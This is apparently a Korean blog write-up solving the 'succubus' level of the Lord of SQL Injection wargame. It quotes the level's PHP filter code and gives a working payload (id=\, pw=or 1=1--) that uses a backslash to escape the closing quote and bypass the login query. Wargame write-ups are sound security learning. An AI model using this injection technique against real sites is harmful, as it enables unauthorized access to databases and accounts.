본문 바로가기
해킹/LoS(Lord of SQL Injection)

[Los] succubus 풀이

by yenua 2022. 6. 12.
반응형

https://los.rubiya.kr/

 

Lord of SQLInjection

 

los.rubiya.kr

 

서큐버스는 중세 유럽의 전설과 민속에서 인간 남자들의 꿈속에 나타나 그들을 유혹하기 위해 인간 여자로 둔갑하고 성교 행위를 하는 악마를 일컫는다. - 위키백과

서큐버스가 매춘부를 뜻하는 단어에서 파생된 것이라니....

 

아무튼 이번에는 los의 서큐버스를 처리해보자.

 

기본 쿼리문 및 소스코드는 아래와 같다. 

 

소스코드를 살펴보자.

<?php
  include "./config.php"; 
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/\'/',$_GET[id])) exit("HeHe");
  if(preg_match('/\'/',$_GET[pw])) exit("HeHe");
  $query = "select id from prob_succubus where id='{$_GET[id]}' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) solve("succubus"); 
  highlight_file(__FILE__); 
?>

이번에는 오랜만에 id, pw 둘다 입력이 가능한데, 따옴표(')가 사용이 안된다..

이 부분 때문에 고생하다가 구글링으로 힌트를 얻었는데, 바로 이스케이프 문을 사용하는 것이다. \' 이런식으로 나타내면 '이라는 문자 자체를 나타내게 되기 때문에 이를 이용해서 쿼리문에 혼란을 야기할 수 있게 된다.

 

이를 적용한 것이 아래의 페이로드이다.

id: \

pw: or 1=1

url: ?id=\&&pw=or%201=1--+

query : select id from prob_succubus where id='\' and pw='or 1=1-- '

이스케이프 문자로 인해 중간의 '가 사라지면서 밑줄친 부분이 싹 문자열 취급이 되어 날라가게 된다.

or 1=1 문은 항상 참이기 때문에 조건을 만족하면서 문제를 해결할 수 있게 된다.

 

반응형

'해킹 > LoS(Lord of SQL Injection)' 카테고리의 다른 글

[Los] assassin 풀이  (0) 2022.06.12
[Los] giant 풀이  (0) 2022.06.12
[Los] bugbear 풀이  (0) 2022.06.12
[Los] darkknight 풀이  (0) 2022.06.12
[Los] golem 풀이  (0) 2022.06.12